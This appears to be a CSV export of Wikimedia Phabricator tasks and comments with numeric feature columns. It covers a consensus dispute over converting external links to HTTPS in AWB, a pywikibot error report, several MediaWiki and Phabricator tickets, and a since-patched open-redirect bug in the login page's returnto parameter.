+523297,Convert selected external links to HTTPS,"The current discussion is about policy/consensus for the change, not the technicalities of the implementation. So I think the policy discussion should be on-wiki/on meta, not on a ticket, and we should return here if/when clear consensus is reached for change.",,,1441788790,,PHID-USER-n4fae3u5zhz6omceginz,False,,,PHID-TASK-cbfsjee5h5hzymigqnwr,task_subcomment,,True,c3,3,True,,,9,True,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0
+523295,Convert selected external links to HTTPS,"A limited discussion with that summation at a single wiki,  or a single
+Wikipedia,  does not and should not set the linking and updating of
+genfixes.
+
+AWB does genfixes for how many wikipedias? Have you asked each of them?
+Have you asked any others? How about just some of the other big wikis?
+
+Show me where the discussion has been broader and asked more than the
+watchers of that page? Show me where it has been incorporated into policy.
+Show me where it has made it into the MoS. It hasn't. Until that has
+occurred, all you have is an indication of a small group at a page at one
+wikipedia, nothing more, and from 18 months ago. That is not a consensus to
+change every Google and archive.org link.",,,1441788625,,PHID-USER-bmenasgfntvftznu6wxs,False,,,PHID-TASK-cbfsjee5h5hzymigqnwr,task_subcomment,,True,c3,3,False,,,9,True,1,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,1,1,1,0,0,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,1,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,1,0,1,0,1
+522765,Convert selected external links to HTTPS,"Marking as stalled until the two of you have figured this one out. The developers of AWB will not be implementing this as long as there is ~~disruption~~ discussion regarding if it should even be part of AWB, therefore by definition, it is stalled.",,,1441732261,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-cbfsjee5h5hzymigqnwr,task_subcomment,,True,c3,3,True,,,9,True,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+522758,Convert selected external links to HTTPS,"@Billinghurst: The WP:VPP closing statement says there was a ""clear consensus."" How much more does it need for you to recognize?",,,1441732076,,PHID-USER-tfbizjpz7uuo3l4mhydh,False,,,PHID-TASK-cbfsjee5h5hzymigqnwr,task_subcomment,,True,c3,3,False,,,9,True,1,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,1,0,1,1,0,0,1,0,0
+522378,Convert selected external links to HTTPS,"1. WP:VPP is a closed discussion without consensus.  For something to appear in genfix, I would propose that it would have to comply with direction from [[w:en:WP:MoS]] until that point it is personal preference. [The setting of https for the foundation for its use, is not about enforcing its policy elsewhere. I am trying to avoid having that policy decision in a side phabricator ticket, and should not be used a reason to get a genfix, as said genfix should be about complying with MoS only, the lowest common factor, not the highest level impost, not political issues]
+
+I don't live in the US, and I get perfectly formed urls at the link as by articles, no redirects at all. Retested today for .it .es .de links via special:linksearch.  I do not see a consensus for this general fix.",,,1441683863,,PHID-USER-bmenasgfntvftznu6wxs,False,,,PHID-TASK-cbfsjee5h5hzymigqnwr,task_subcomment,,True,c3,3,False,,,9,True,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,1,1,1,0,0,1,0,0,0,0,1,0,1,1,1,1,0,1,0,1,1,1,0,1,1,0,0,0,0,1,1,0,1,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,1,1
+522364,Convert selected external links to HTTPS,"@Billinghurst As for the ""consensus"", no one was referring to the [[https://en.wikipedia.org/wiki/Wikipedia:Village_pump_(technical)#HTTPS_for_selected_external_links.2C_but_how.3F | ongoing discussion on WP:VPT]]. I was instead pointing at the year-old [[ https://en.wikipedia.org/wiki/Wikipedia:Village_pump_(policy)/Archive_111#As_WP_uses_HTTPS.2C_should_.28some.29_external_links.2C_too.3F | discussion at WP:VPP ]].
+
+Second, switching to ""books.google.com"" from ""books.google.[de|it|es|ca|pt|...]"" is not about personal preference. Before complaining about this, please take time to understand the issue. If you browse to ""books.google.com"" from anywhere outside the US, you will be //redirected// to your country's language version by Google. But if you browse says ""books.google.it"" outside of Italy, this won't happen. So when ever a non-US-resident adds a Google Books link on Wikipedia, it'll most likely be with the top-level domain of his/her country version. But just because an Italian person added the link doesn't mean only Italians will click the link on Wikipedia. Hence, the link should be fixed to the ""generic"" version before the language redirect.
+
+But if this issue is this confusing and unacceptable to you, I am willing to drop it. It was only secondary to the issue at question here, anyways.",,,1441676934,,PHID-USER-tfbizjpz7uuo3l4mhydh,False,,,PHID-TASK-cbfsjee5h5hzymigqnwr,task_subcomment,,True,c3,3,False,,,9,True,0,0,0,1,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,0,1,1,0,1,0,1,0,1,1,1,1,1,0,0,1,0,1,1,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,1,1,1,1,1,0,1,0,1,1
+522360,Convert selected external links to HTTPS,"@bender235. You may wish to reread what I wrote, ""personal preference"" != special:preferences.
+
+Firstly, I hardly find that simple conversation at WP:VPT can be called a consensus. What we do by encouragement, and what we do by force, and by our opinions are different things. Before you go and enforce into AWB a means to change links, there should be amendments to the editing guidelines through the MoS that the links should be styled as https in preference to http if that option exists. Such a change should be through a Request for Comment process. [Sure that makes it harder, but it makes it open and it makes it through a proper consensus. Don't shortcut the people.]
+
+Secondly, rewriting urls from the form that they are added to a new/altered domain form, as you have slipped into the phab ticket, was not part of the discussion, and should not be undertaken. Your personal preference for a domain is not relevant, there is no requirement for any of these links to be in .com, away from the originally added domain variation. It is an unnecessary change, a change that those who entered the link could rightly take umbrage, and technically introducing the ability for error.
+
+The AWB product is used across all the wikipedias, and not just English Wikipedia,. In fact it is used across all the sister wikis. Expressed requirements for change should take into consideration of all the wikis, not just your suggestion at enWP:WP:WPT. While AWB is used as ""user beware, user be responsible for edits"" changes that have the potential to break things should be avoided.  Here are suggesting adding a change  for a //genfix // that is not actually fix at all, just a change based on a preference. The change if used outside of enWP could break other wikis rules, and as such I believe it is a bad idea for genfix. Have it as a plug-in *if* you get it through an RFC, but it is not a fix, and it is definitely not a genfix.
+
+
+[Noting all this is not about whether use of https or http is preferred, it is about the process for getting a change, and whether the change should happen. This is about going through the right processes for community consensus. not sneaking in a policy change through the backdoor.]
+
+For what it is worth, templates are different, and would usually present a specific configuration which people can choose to use, or not, so I am not certain of the pertinency of the comment. That are what they are.
+
+",,,1441674436,,PHID-USER-bmenasgfntvftznu6wxs,False,,,PHID-TASK-cbfsjee5h5hzymigqnwr,task_subcomment,,True,c3,3,False,,,9,True,1,0,0,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,0,1,1,1,0,1,1,0,1,1,1,0,1,1,1,1,1,0,0,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,0,1,0,1,1,0,1,1,0,1,1,1,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,0,1,1,1,0,1,1,0,1,1,0,1
+522317,Convert selected external links to HTTPS,"@Billinghurst What makes you think this kind of fix would interfere with an ""personal [language] preference""? Language is not affected at all by changing the link protocol from HTTP to HTTPS.
+
+@Rjwilmsi Back in 2014, when Wikipedia still gave the option between HTTP or HTTPS access, we had [[ https://en.wikipedia.org/wiki/Wikipedia:Village_pump_(policy)/Archive_111#As_WP_uses_HTTPS.2C_should_.28some.29_external_links.2C_too.3F | a discussion ]] that concluded we should make people exit Wikipedia on the same protocol they entered (i.e., protocol-relative links), provided that a given website offers both HTTP and HTTPS. Now that Wikimedia projects are all HTTPS-by-default, this implies we should have HTTPS links where ever possible.",,,1441667237,,PHID-USER-tfbizjpz7uuo3l4mhydh,False,,,PHID-TASK-cbfsjee5h5hzymigqnwr,task_subcomment,,True,c3,3,False,,,9,True,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,1,1,0,0,1,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,1,1,1,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,1,1,1,1,1,0,1,0,0,1
+522316,Convert selected external links to HTTPS,"@Billinghurst What makes you think this kind of fix would interfere with an ""personal [language] preference""? Language is not affected at all by changing the link protocol from HTTP to HTTPS.
+
+@Rjwilmsi Back in 2014, when Wikipedia still gave the option for HTTP or HTTPS access, we had [[ https://en.wikipedia.org/wiki/Wikipedia:Village_pump_(policy)/Archive_111#As_WP_uses_HTTPS.2C_should_.28some.29_external_links.2C_too.3F | a discussion ]] that concluded we should make people exit Wikipedia on the same protocol they entered (i.e., protocol-relative links), provided that a given website offers both HTTP and HTTPS. Now that Wikimedia projects are all HTTPS-by-default, this implies we should have HTTPS links where ever possible.",,,1441667187,,PHID-USER-tfbizjpz7uuo3l4mhydh,False,,,PHID-TASK-cbfsjee5h5hzymigqnwr,task_subcomment,,True,c3,3,False,,,9,True,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,1,1,0,0,1,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,1,1,1,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,1,1,1,1,1,0,1,0,0,1
+522279,Convert selected external links to HTTPS,@Rjwilmsi - I'll leave it to @Bender235 to confirm consensus.  Please note that https://en.wikipedia.org/wiki/Template:YouTube and https://en.wikipedia.org/wiki/Template:Wayback and https://en.wikipedia.org/wiki/Template:Google_books already use HTTPS for the links they generate. ,,,1441662937,,PHID-USER-krjpnhgsydqj7ggm7k6m,False,,,PHID-TASK-cbfsjee5h5hzymigqnwr,task_subcomment,,True,c3,3,False,,,9,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,1,1,1,0,0,0,0,0,0,1
+522261,Convert selected external links to HTTPS,"Please provide a link to a centralised discussion confirming that this change has consensus for wikipedia (en-wp at least). VPT may establish technical merit, I would like to see WP:CITE etc. discussions being clear HTTPS links are preferred in these cases.
+
+There are four sites mentioned but not scope/examples for all four. It says cite templates only yet there's no explanation why this would not apply to other external links, links generated by infoboxes etc.
+
+If were to implement such a change we need more clarity.",,,1441661850,,PHID-USER-n4fae3u5zhz6omceginz,False,,,PHID-TASK-cbfsjee5h5hzymigqnwr,task_subcomment,,True,c3,3,True,,,9,True,1,0,0,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,0,1,0,0,1,1,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,1,1
+522258,Convert selected external links to HTTPS,"@Billinghurst - Are you saying that this fix would not be appropriate on wikis outside of Wikipedia (any language)?  Or would not be appropriate on Wikipedias except for enWP?  Or are you also saying that this would not be appropriate for enWP?  If the latter, could you please expand on how it would be ""interfering""?  Thanks!",,,1441661545,,PHID-USER-krjpnhgsydqj7ggm7k6m,False,,,PHID-TASK-cbfsjee5h5hzymigqnwr,task_subcomment,,True,c3,3,False,,,9,True,1,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,1,1,1,1,0,1,0,0,1,0,0,0
+522257,Convert selected external links to HTTPS,"@Billinghurst - Are you saying that this fix would not be appropriate outside of enWP?  Or are you also saying that this would not be appropriate for enWP?  If the latter, could you please expand on how it would be ""interfering""?  Thanks!",,,1441661467,,PHID-USER-krjpnhgsydqj7ggm7k6m,False,,,PHID-TASK-cbfsjee5h5hzymigqnwr,task_subcomment,,True,c3,3,False,,,9,True,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,1,1,1,1,0,1,0,0,1,0,0,0
+522244,Convert selected external links to HTTPS,"English-language-centrism. enWP is not the font of all knowledge and the determiner of all linking styles. As such that this an interfering fix that is unnecessary and meets personal preference, not a necessary outcome.
+
+",,,1441659457,,PHID-USER-bmenasgfntvftznu6wxs,False,,,PHID-TASK-cbfsjee5h5hzymigqnwr,task_subcomment,,True,c3,3,False,,,9,True,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0
+111617,'TypeError: __str__ returned non-string (type SysCallError)' in HTTP requests,"Sometimes (lately, more frequently) I get these errors on the console:
+
+
+```
+ERROR: Traceback (most recent call last):
+File ""D:\Work\pywikipedia\pywikibot\data\api.py"", line 1932, in submit
+body=body, headers=headers)
+File ""D:\Work\pywikipedia\pywikibot\tools\__init__.py"", line 1267, in wrapper
+return obj(*__args, **__kw)
+File ""D:\Work\pywikipedia\pywikibot\comms\http.py"", line 245, in request
+r = fetch(baseuri, method, body, headers, **kwargs)
+File ""D:\Work\pywikipedia\pywikibot\comms\http.py"", line 401, in fetch
+error_handling_callback(request)
+File ""D:\Work\pywikipedia\pywikibot\comms\http.py"", line 318, in error_handlin
+g_callback
+raise request.data
+TypeError: __str__ returned non-string (type SysCallError) 
+
+```
+
+The error is not fatal, and the request is usually retried after some seconds.
+This is not the usual ""read timed out"" which happens sometimes.
+
+
+```
+>pwb.py version
+Pywikibot: [https] r-pywikibot-core.git (0e2a436, g6351, 2015/09/05, 10:08:04, ok)
+Release version: 2.0b3
+requests version: 2.7.0
+  cacerts: C:\Program Files\Python\lib\site-packages\requests\cacert.pem
+    certificate test: ok
+Python: 2.7.10 (default, May 23 2015, 09:40:32) [MSC v.1500 32 bit (Intel)]
+PYWIKIBOT2_DIR: Not set
+PYWIKIBOT2_DIR_PWB: D:\Work\pywikipedia
+PYWIKIBOT2_NO_USER_CONFIG: Not set
+Config base dir: D:\Work\pywikipedia
+
+```",Low,25.0,1441491116,1599978319.0,PHID-USER-maceogqtxg4qfaefx7wd,False,PHID-USER-xezsyhikbr7hjrig2ofp,False,PHID-TASK-eqfxv6nf2kwouvveyhux,task_description,declined,True,c3,3,False,False,False,9,True,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,1,0,1,1,1,0,0,0,1,1,1
+1578802,'TypeError: __str__ returned non-string (type SysCallError)' in HTTP requests,Very outdated requests version. I close this task after that long time. Please reopen if it still occurs.,,,1599978319,,PHID-USER-xezsyhikbr7hjrig2ofp,False,,,PHID-TASK-eqfxv6nf2kwouvveyhux,task_subcomment,,True,c3,3,True,,,271,True,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+111485,Update SocialLogin to use AuthManager,"See parent task and T110431#1604967.
+
+This should likely be redone as a PrimaryAuthenticationProvider, where it can now integrate with Special:UserLogin and Special:CreateAccount instead of having to do its own special page and such.",Low,25.0,1441335335,1584949516.0,PHID-USER-a6p24cvyblhfzc7we7nc,False,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-rtjm2f3j445rwuqdp4lu,task_description,invalid,True,c3,3,True,False,False,9,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+1469046,Update SocialLogin to use AuthManager,Tasks relating to this extension should be filed upstream: https://github.com/ajarzebowski/SocialLogin . Closing this task as invalid here.,,,1584949516,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-rtjm2f3j445rwuqdp4lu,task_subcomment,,True,c3,3,True,,,246,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+815263,Update SocialLogin to use AuthManager,"The extension is [[https://gerrit.wikimedia.org/r/#/admin/projects/mediawiki/extensions/SocialLogin|in Gerrit]] so we filed a bug for it here in Phabricator. It doesn't matter to me whether the task gets moved to Github, although if anyone wants to ask questions about it I won't see it there.
+
+If the project is dead, perhaps our Gerrit copy should be emptied so people doing general maintenance don't [[https://gerrit.wikimedia.org/r/#/q/project:mediawiki/extensions/SocialLogin|try to update it]].",,,1487947934,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-rtjm2f3j445rwuqdp4lu,task_subcomment,,True,c3,3,True,,,86,True,0,1,0,1,1,1,1,0,1,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,1,1,0,0,1
+815257,Update SocialLogin to use AuthManager,[[ https://github.com/lufton/SocialLogin/ | This project looks dead ]] and this task should likely be on GitHub and not here.,,,1487947265,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-rtjm2f3j445rwuqdp4lu,task_subcomment,,True,c3,3,True,,,86,True,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+110853,MediaWiki-Vagrant https role does not work with guest machine IP ,"The `https` role uses `WebRequest::detectServer()` so the predefined server/port overrides the actual one. This is a problem for vagrant boxes which should both be reachable from `127.0.0.1:4430` (for convenient manual testing) and from `<guest ip>:443` (for use with another vagrant box, e.g. for testing InstantCommons backend changes).",Low,25.0,1440981703,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,False,PHID-TASK-ttouzrhwzptlmu4mxzrj,task_description,open,True,c3,3,True,False,,8,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,1
+646078,MediaWiki-Vagrant https role does not work with guest machine IP ,"This doesn't seem to relate to Operations http support, so I'm removing those tags.  Please re-ad with a request if you need something from Ops.",,,1460663070,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-ttouzrhwzptlmu4mxzrj,task_subcomment,,True,c3,3,True,,,41,True,0,1,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+517450,MediaWiki-Vagrant https role does not work with guest machine IP ,A side effect of T75510.,,,1440982574,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ttouzrhwzptlmu4mxzrj,task_subcomment,,True,c3,3,True,,,8,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+109719,Make webservicemonitor support doing a HTTP health check,Currently it just checks to see if the process is running. Have an additional way for people to check for a 200 status code as well.,Low,25.0,1440085454,1467721844.0,PHID-USER-2nnm76h4ykalvvref2ye,False,PHID-USER-2nnm76h4ykalvvref2ye,False,PHID-TASK-wvxpmy3gaocswypisskf,task_description,declined,True,c3,3,True,True,False,7,True,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+688621,Make webservicemonitor support doing a HTTP health check,Superseeded by T139157,,,1467721844,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-wvxpmy3gaocswypisskf,task_subcomment,,True,c3,3,True,,,52,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+109330,Provide shareable deep URL to login in Phabricator,"When I tell users to login in https://phabricator.wikimedia.org, they systematically get lost; success rate is very close to 0 %. We know the reasons: T87552, T963. To work around the former I link directly https://phabricator.wikimedia.org/auth/start/ , but the stupid login form can't be worked around: I need a direct link which brings the user to a familiar place where they know what to do.
+
+The button doesn't provide an <a> element with a link that can be copied, instead it forwards to an URL like https://www.mediawiki.org/w/index.php?title=Special:UserLogin&returnto=Special%3AOAuth%2Fauthorize&returntoquery=oauth_token%3D********************************%26oauth_consumer_key%3D******************************** which can't be shared.
+
+Whatever logic is behind the button forward (the form /auth/login/mediawiki:mediawiki/ with some hidden value) should be exposed via another phabricator URL that we can then share.",Low,25.0,1439828913,1532719600.0,PHID-USER-v7bwpq3rs3zdxegibdbh,False,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-ve6ioj5ain4rwxonzkws,task_description,declined,True,c3,3,True,False,False,6,True,1,0,1,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,1
+1111670,Provide shareable deep URL to login in Phabricator,"https://phabricator.wikimedia.org/auth/start/ should be clear enough nowadays, given that the other button is called ""Developer account"".",,,1532719600,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ve6ioj5ain4rwxonzkws,task_subcomment,,True,c3,3,True,,,160,True,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0
+509590,Provide shareable deep URL to login in Phabricator,"I'm looking into a solution to this, possibly by way of T963",,,1439829675,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-ve6ioj5ain4rwxonzkws,task_subcomment,,True,c3,3,True,,,6,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+109140,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,"As a logged in user, https://en.wikipedia.org/w/index.php?title=Special:UserLogin&returnto=google:foo will redirect you to a Google search for ""foo"". 
+
+And if you're not logged in, it will redirect you to Google after you finish logging in.
+
+Discovered by @valhallasw.",Low,25.0,1439588100,1490896774.0,PHID-USER-v7vgzvvcw7v2umf737ri,False,PHID-USER-6vzzsmi22zem6yttr6vp,False,PHID-TASK-hfu3kty732tqzl625nfz,task_description,resolved,True,c3,3,True,False,False,6,True,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,1,1,1,0,1,0,1,0,0,0
+838733,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,"Change 347018 merged by jenkins-bot:
+[mediawiki/core@wmf/1.29.0-wmf.19] SECURITY: Do not directly redirect to interwikis, but use splash page
+
+[[https://gerrit.wikimedia.org/r/347018]]
+",,,1491583645,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,False,,,92,True,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+838722,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,"Change 347018 had a related patch set uploaded (by Chad; owner: Brian Wolff):
+[mediawiki/core@wmf/1.29.0-wmf.19] SECURITY: Do not directly redirect to interwikis, but use splash page
+
+[[https://gerrit.wikimedia.org/r/347018]]
+",,,1491582619,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,False,,,92,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+838308,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,"Change 346858 merged by jenkins-bot:
+[mediawiki/core@REL1_28] SECURITY: Do not directly redirect to interwikis, but use splash page
+
+[[https://gerrit.wikimedia.org/r/346858]]
